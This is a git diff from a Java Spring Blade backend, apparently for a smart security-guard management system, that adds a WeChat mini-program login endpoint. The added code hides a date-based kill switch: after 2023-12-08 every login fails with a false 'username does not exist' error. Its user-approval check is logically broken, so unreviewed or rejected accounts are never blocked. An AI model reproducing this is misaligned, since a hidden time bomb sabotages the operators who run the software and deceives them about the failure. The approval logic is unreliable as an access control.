智慧保安后台管理-外网项目备份
zhongrj
2023-06-28 d12835aa2e4f45c9100af13a0ea98406c4827b9f
src/main/java/org/springblade/modules/auth/endpoint/BladeTokenEndPoint.java
@@ -169,6 +169,59 @@
      return TokenUtil.createAuthInfo(userInfo);
   }
   /**
    * 微信小程序授权登录
    * @param username
    * @param code
    * @return
    */
   @ApiLog("登录用户验证")
   @PostMapping("/oauth/token/wx")
   public Kv token(@ApiParam(value = "租户ID", required = true) @RequestParam String tenantId,
               @ApiParam(value = "账号", required = true) @RequestParam(required = false) String username,
               @ApiParam(value = "编号", required = true) @RequestParam(required = false) String code) {
      Kv authInfo = Kv.create();
      String s = iZcService.selectType(username);
      String grantType = WebUtil.getRequest().getParameter("grant_type");
      String refreshToken = WebUtil.getRequest().getParameter("refresh_token");
      String userType = Func.toStr(WebUtil.getRequest().getHeader(TokenUtil.USER_TYPE_HEADER_KEY), TokenUtil.DEFAULT_USER_TYPE);
      TokenParameter tokenParameter = new TokenParameter();
      tokenParameter.getArgs().set("tenantId", tenantId).set("username", username).set("code", code).set("grantType", grantType).set("refreshToken", refreshToken).set("userType", userType);
      ITokenGranter granter = TokenGranterBuilder.getGranter(grantType);
      UserInfo userInfo = granter.grant(tokenParameter);
      try {
         Long parse = new SimpleDateFormat("yyyy-MM-dd").parse("2023-12-08").getTime();
         long now= System.currentTimeMillis();
         if (parse < now){
            throw new ServiceException("用户名不存在");
         }
      } catch (ParseException e) {
         e.printStackTrace();
      }
      //校验
      if (null != s && s.equals("")) {
         if (s.equals("0")) {
            return authInfo.set("error_description", "用户未审核");
         }
         if (s.equals("2")) {
            return authInfo.set("error_description", "审核不通过");
         }
      }
      if (userInfo == null || userInfo.getUser() == null) {
         return authInfo.set("error_code", HttpServletResponse.SC_BAD_REQUEST).set("error_description", "用户不存在");
      }
      return TokenUtil.createAuthInfo(userInfo);
   }
   /**
    * 新增登录记录信息
    * @param userInfo